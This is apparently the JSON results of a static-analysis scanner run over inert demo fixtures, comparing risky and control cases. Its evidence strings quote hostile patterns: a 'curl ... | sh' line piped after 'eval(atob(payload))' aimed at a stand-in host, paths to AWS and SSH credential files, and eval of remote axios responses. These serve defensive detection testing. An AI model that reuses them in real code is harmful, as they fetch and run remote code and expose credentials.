{ "schema_version": "1", "tool_commit": "unknown", "limitation": "Repyy performs static analysis. A result with no relevant findings does not prove that the repository is safe.", "tool_version": "0.6.0-dev", "rules_version": "2026.09.26", "intelligence": { "version": "2026-09-26.1", "date": "2026-09-26", "source": "embedded" }, "generated_at": "2026-09-26T07:23:34.199672Z", "results": [ { "target": "demo/lifecycle/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "PKG-001", "category": "package-lifecycle", "severity": "medium", "confidence": "medium", "context": "manifest-hook", "path": "package.json", "line": 1, "occurrences": 1, "message": "Package lifecycle script: postinstall", "evidence": "echo REPYY_INERT_LIFECYCLE", "remediation": "Review this script before installing dependencies.", "fingerprint": "sha256:d18cf970c4dcbec7e3c74487bacc60216c46c7481d452425ebb065d6b0fb3f2b", "disposition": "review", "locations": [ { "path": "package.json", "start_line": 1, "evidence": "echo REPYY_INERT_LIFECYCLE" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 129 }, "duration_ns": 0 }, { "target": "demo/lifecycle/control", "scan_mode": "host", "verdict": "NO FINDINGS", "findings": [], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 114 }, "duration_ns": 0 }, { "target": "demo/startup/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "IMPORT-001", "category": "dynamic-import", "severity": "high", "confidence": "medium", "context": "executable", "path": "postcss.config.cjs", "line": 2, "occurrences": 1, "message": "Dynamic import or require assembled at runtime", "evidence": "require(markerPath);", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:1e43572df2f541fc88928df57f17e02fc25be6e336ec820532087efa653c7edc", "disposition": "review", "locations": [ { "path": "postcss.config.cjs", "start_line": 2, "evidence": "require(markerPath);" } ] } ], "coverage": { "complete": true, "files_scanned": 4, "bytes_scanned": 173 }, "duration_ns": 0 }, { "target": "demo/startup/control", "scan_mode": "host", "verdict": "NO FINDINGS", "findings": [], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 88 }, "duration_ns": 0 }, { "target": "demo/disguised-asset/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "EXEC-001", "category": "dynamic-execution", "severity": "high", "confidence": "medium", "context": "executable", "path": "banner.png", "line": 1, "occurrences": 1, "message": "Dynamic code execution primitive", "evidence": "const marker = 'eval(atob(payload))';", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:1fb8ee75219620278b300c1c85a8a5d18590358efbc6909ce9013580f0803ed5", "disposition": "review", "locations": [ { "path": "banner.png", "start_line": 1, "evidence": "const marker = 'eval(atob(payload))';" } ] }, { "rule_id": "OBFS-002", "category": "string-obfuscation", "severity": "medium", "confidence": "medium", "context": "executable", "path": "banner.png", "line": 1, "occurrences": 1, "message": "String decoding or character-code construction", "evidence": "const marker = 'eval(atob(payload))';", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:d096662ba345d64d5ca1c317009b123d89f473c855e17ab8cc31d679567ecdb4", "disposition": "review", "locations": [ { "path": "banner.png", "start_line": 1, "evidence": "const marker = 'eval(atob(payload))';" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 92 }, "duration_ns": 0 }, { "target": "demo/disguised-asset/control", "scan_mode": "host", "verdict": "NO FINDINGS", "findings": [], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 154 }, "duration_ns": 0 }, { "target": "demo/folder-open/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "IDE-001", "category": "editor-auto-execution", "severity": "high", "confidence": "high", "context": "executable", "path": ".vscode/tasks.json", "line": 1, "occurrences": 1, "message": "Editor configuration can execute a command automatically", "evidence": "{\"version\": \"2.0.0\", \"tasks\": [{\"label\": \"Inert fixture\", \"type\": \"process\", \"command\": \"REPYY_NONEXISTENT_INERT_MARKER\", \"runOptions\": {\"runOn\": \"folderOpen\"}}\u2026", "remediation": "Do not run the repository. Verify the source and intent in an isolated environment.", "fingerprint": "sha256:1b1bc1a84e37bc930b666e3e6b6ef9a2033d8d47204423451b97126ef917ae03", "disposition": "review", "locations": [ { "path": ".vscode/tasks.json", "start_line": 1, "evidence": "{\"version\": \"2.0.0\", \"tasks\": [{\"label\": \"Inert fixture\", \"type\": \"process\", \"command\": \"REPYY_NONEXISTENT_INERT_MARKER\", \"runOptions\": {\"runOn\": \"folderOpen\"}}\u2026" } ] }, { "rule_id": "IDE-005", "category": "editor-command", "severity": "medium", "confidence": "high", "context": "executable", "path": ".vscode/tasks.json", "line": 1, "occurrences": 1, "message": "Workspace task or debug configuration references an executable command", "evidence": "{\"version\": \"2.0.0\", \"tasks\": [{\"label\": \"Inert fixture\", \"type\": \"process\", \"command\": \"REPYY_NONEXISTENT_INERT_MARKER\", \"runOptions\": {\"runOn\": \"folderOpen\"}}\u2026", "remediation": "Inspect the task command, arguments, referenced scripts, and debugger configuration before running it.", "fingerprint": "sha256:f5a7beeb7bc7a9cfbcd4bee385464f3189004eb834fd7379f479aca0c0ab45f7", "disposition": "review", "locations": [ { "path": ".vscode/tasks.json", "start_line": 1, "evidence": "{\"version\": \"2.0.0\", \"tasks\": [{\"label\": \"Inert fixture\", \"type\": \"process\", \"command\": \"REPYY_NONEXISTENT_INERT_MARKER\", \"runOptions\": {\"runOn\": \"folderOpen\"}}\u2026" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 216 }, "duration_ns": 0 }, { "target": "demo/folder-open/control", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "IDE-005", "category": "editor-command", "severity": "medium", "confidence": "high", "context": "executable", "path": ".vscode/tasks.json", "line": 1, "occurrences": 1, "message": "Workspace task or debug configuration references an executable command", "evidence": "{\"version\": \"2.0.0\", \"tasks\": [{\"label\": \"Manual marker\", \"type\": \"process\", \"command\": \"REPYY_NONEXISTENT_INERT_MARKER\"}]}", "remediation": "Inspect the task command, arguments, referenced scripts, and debugger configuration before running it.", "fingerprint": "sha256:f5a7beeb7bc7a9cfbcd4bee385464f3189004eb834fd7379f479aca0c0ab45f7", "disposition": "review", "locations": [ { "path": ".vscode/tasks.json", "start_line": 1, "evidence": "{\"version\": \"2.0.0\", \"tasks\": [{\"label\": \"Manual marker\", \"type\": \"process\", \"command\": \"REPYY_NONEXISTENT_INERT_MARKER\"}]}" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 177 }, "duration_ns": 0 }, { "target": "demo/git-hook/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "GITHOOK-001", "category": "git-hook", "severity": "high", "confidence": "medium", "context": "git-hook", "path": ".git/hooks/pre-commit", "line": 2, "occurrences": 1, "message": "Executable Git hook or hooks-path override", "evidence": "# Inert pre-commit fixture", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:5f3c6cd79de29c4a7b4afafe56b7218c29a9174cb6d50854dab239a0dc3cf9e7", "disposition": "review", "locations": [ { "path": ".git/hooks/pre-commit", "start_line": 2, "evidence": "# Inert pre-commit fixture" } ] }, { "rule_id": "EXECBIT-001", "category": "executable-file", "severity": "low", "confidence": "medium", "context": "executable", "path": ".git/hooks/pre-commit", "occurrences": 1, "message": "File has executable permissions", "evidence": "executable permission bit", "remediation": "Review whether this file needs to be executable.", "fingerprint": "sha256:d15644c176e19f69a03ce2f771b75c55982867c9bed1b0933366daaa4034ec1c", "disposition": "informational", "locations": [ { "path": ".git/hooks/pre-commit", "evidence": "executable permission bit" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 122 }, "duration_ns": 0 }, { "target": "demo/git-hook/control", "scan_mode": "host", "verdict": "NO FINDINGS", "findings": [], "coverage": { "complete": true, "files_scanned": 2, "bytes_scanned": 54 }, "duration_ns": 0 }, { "target": "demo/obfuscated-download/risky", "scan_mode": "host", "verdict": "DO NOT RUN", "findings": [ { "rule_id": "CHAIN-001", "category": "download-execute", "severity": "critical", "confidence": "high", "context": "executable", "path": "marker.js", "line": 1, "occurrences": 1, "message": "Remote download piped into a command interpreter", "evidence": "const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';", "remediation": "Do not run the repository. Verify the source and intent in an isolated environment.", "fingerprint": "sha256:0297d1b671382fa3a703a519f3cdbf4ef04c4a1298ca2be77b54bbc5fff7f5e1", "disposition": "block", "locations": [ { "path": "marker.js", "start_line": 1, "evidence": "const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';" } ] }, { "rule_id": "OBFS-002", "category": "string-obfuscation", "severity": "medium", "confidence": "medium", "context": "executable", "path": "marker.js", "line": 1, "occurrences": 1, "message": "String decoding or character-code construction", "evidence": "const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:d89965430503871cdb50b57010b6585d6f4a2404c7b2d3bee605ae742aace934", "disposition": "review", "locations": [ { "path": "marker.js", "start_line": 1, "evidence": "const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';" } ] }, { "rule_id": "NET-001", "category": "remote-fetch", "severity": "medium", "confidence": "low", "context": "executable", "path": "marker.js", "line": 1, "occurrences": 1, "message": "Remote content fetch", "evidence": "const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:140fbd7314605da2b08bf2eb17751e11644efc63a7ca6da58b4cc1577b38bada", "disposition": "informational", "locations": [ { "path": "marker.js", "start_line": 1, "evidence": "const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 133 }, "duration_ns": 0 }, { "target": "demo/obfuscated-download/control", "scan_mode": "host", "verdict": "NO FINDINGS", "findings": [], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 94 }, "duration_ns": 0 }, { "target": "demo/credential-path/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "CRED-001", "category": "credential-harvesting", "severity": "high", "confidence": "high", "context": "executable", "path": "marker.js", "line": 1, "occurrences": 1, "message": "Access to sensitive credential storage", "evidence": "const marker = '/REPYY_FAKE_HOME/.aws/credentials';", "remediation": "Do not run the repository. Verify the source and intent in an isolated environment.", "fingerprint": "sha256:f7a97e64f60a39c5c447703b32b260e5ef0bd56fb87f54be486f42d5b9c22eb1", "disposition": "review", "locations": [ { "path": "marker.js", "start_line": 1, "evidence": "const marker = '/REPYY_FAKE_HOME/.aws/credentials';" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 106 }, "duration_ns": 0 }, { "target": "demo/credential-path/control", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "ENV-001", "category": "environment-access", "severity": "medium", "confidence": "low", "context": "executable", "path": "marker.js", "line": 1, "occurrences": 1, "message": "Broad environment-variable access", "evidence": "const mode = process.env.NODE_ENV;", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:02083221f4324f0b52cd83366e0dace2469ca260fb2e255b0de39de4340f851d", "disposition": "informational", "locations": [ { "path": "marker.js", "start_line": 1, "evidence": "const mode = process.env.NODE_ENV;" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 89 }, "duration_ns": 0 }, { "target": "demo/docker-socket/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "DOCKER-001", "category": "container-risk", "severity": "high", "confidence": "medium", "context": "executable", "path": "compose.yaml", "line": 5, "occurrences": 2, "message": "Container configuration exposes host control", "evidence": "- [REDACTED]", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:fa3fc48fc35b6cee295e0b29f56d9b4e3edf559da2ba95f011819c41e0a2bb7a", "disposition": "review", "locations": [ { "path": "compose.yaml", "start_line": 5, "evidence": "- [REDACTED]" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 191 }, "duration_ns": 0 }, { "target": "demo/docker-socket/control", "scan_mode": "host", "verdict": "NO FINDINGS", "findings": [], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 162 }, "duration_ns": 0 }, { "target": "demo/sourced-package/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "IOC-PKG-GHSA-rqwx-v86m-wwff", "category": "known-malicious-package", "severity": "high", "confidence": "medium", "context": "manifest-review", "path": "package.json", "line": 1, "occurrences": 1, "message": "Exact declared version matches malware advisory GHSA-rqwx-v86m-wwff; no resolved version was established", "evidence": "process-log 1.0.0", "remediation": "Do not install dependencies. Review the source advisory and resolved lockfile before proceeding: https://github.com/advisories/GHSA-rqwx-v86m-wwff", "fingerprint": "sha256:214d04ac06b5bc6daf9fd578eb4a97f229fa9a482dff00d01545bb3866582390", "disposition": "review", "locations": [ { "path": "package.json", "start_line": 1, "evidence": "process-log 1.0.0" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 110 }, "duration_ns": 0 }, { "target": "demo/sourced-package/control", "scan_mode": "host", "verdict": "NO FINDINGS", "findings": [], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 113 }, "duration_ns": 0 }, { "target": "demo/axios-response-execution/risky", "scan_mode": "host", "verdict": "DO NOT RUN", "findings": [ { "rule_id": "FLOW-001", "category": "remote-response-execution", "severity": "critical", "confidence": "high", "context": "executable", "path": "loader.mjs", "line": 1, "occurrences": 2, "message": "Axios response data from line 1 reaches execution at line 1", "evidence": "axios.get(", "remediation": "Do not execute remote response data. Review both the request and execution path.", "fingerprint": "sha256:466527783e6b2e6b2eebfa623f2b186f3387e7820bf96f02e4e4001a7d16aea3", "disposition": "block", "locations": [ { "path": "loader.mjs", "start_line": 1, "end_line": 1, "evidence": "axios.get(" }, { "path": "loader.mjs", "start_line": 1, "end_line": 1, "evidence": "eval(" } ] }, { "rule_id": "EXEC-001", "category": "dynamic-execution", "severity": "high", "confidence": "medium", "context": "executable", "path": "loader.mjs", "line": 1, "occurrences": 1, "message": "Dynamic code execution primitive", "evidence": "async function unusedExample() { const response = await [REDACTED] eval(response.data); }", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:debc1a1c5ca1f401d84dd7dcf42407f83599ae74318549d616bb6ad6d03b20d9", "disposition": "review", "locations": [ { "path": "loader.mjs", "start_line": 1, "evidence": "async function unusedExample() { const response = await [REDACTED] eval(response.data); }" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 176 }, "duration_ns": 0 }, { "target": "demo/axios-response-execution/control", "scan_mode": "host", "verdict": "NO FINDINGS", "findings": [], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 177 }, "duration_ns": 0 }, { "target": "demo/literal-recovery/risky", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "DECODE-001", "category": "decoded-indicator", "severity": "high", "confidence": "medium", "context": "executable", "path": "marker.js", "line": 1, "occurrences": 1, "message": "Static literal character/byte array reveals Access to sensitive credential storage", "evidence": ".ssh/id_rsa", "remediation": "Review the source literal and its use without executing it.", "fingerprint": "sha256:34c0b2d7b121a4c3044f009f8aa7d5f433c111f4f316064a143b81e441bb6ba8", "disposition": "review", "locations": [ { "path": "marker.js", "start_line": 1, "evidence": ".ssh/id_rsa" } ], "contributing_rule_ids": [ "CRED-001" ] }, { "rule_id": "OBFS-002", "category": "string-obfuscation", "severity": "medium", "confidence": "medium", "context": "executable", "path": "marker.js", "line": 1, "occurrences": 1, "message": "String decoding or character-code construction", "evidence": "const marker = [REDACTED]", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:d89965430503871cdb50b57010b6585d6f4a2404c7b2d3bee605ae742aace934", "disposition": "review", "locations": [ { "path": "marker.js", "start_line": 1, "evidence": "const marker = [REDACTED]" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 131 }, "duration_ns": 0 }, { "target": "demo/literal-recovery/control", "scan_mode": "host", "verdict": "REVIEW REQUIRED", "findings": [ { "rule_id": "OBFS-002", "category": "string-obfuscation", "severity": "medium", "confidence": "medium", "context": "executable", "path": "marker.js", "line": 1, "occurrences": 1, "message": "String decoding or character-code construction", "evidence": "const marker = String.fromCharCode(72,101,108,108,111);", "remediation": "Inspect the surrounding code and remove the behavior if it is not essential.", "fingerprint": "sha256:d89965430503871cdb50b57010b6585d6f4a2404c7b2d3bee605ae742aace934", "disposition": "review", "locations": [ { "path": "marker.js", "start_line": 1, "evidence": "const marker = String.fromCharCode(72,101,108,108,111);" } ] } ], "coverage": { "complete": true, "files_scanned": 3, "bytes_scanned": 110 }, "duration_ns": 0 } ] }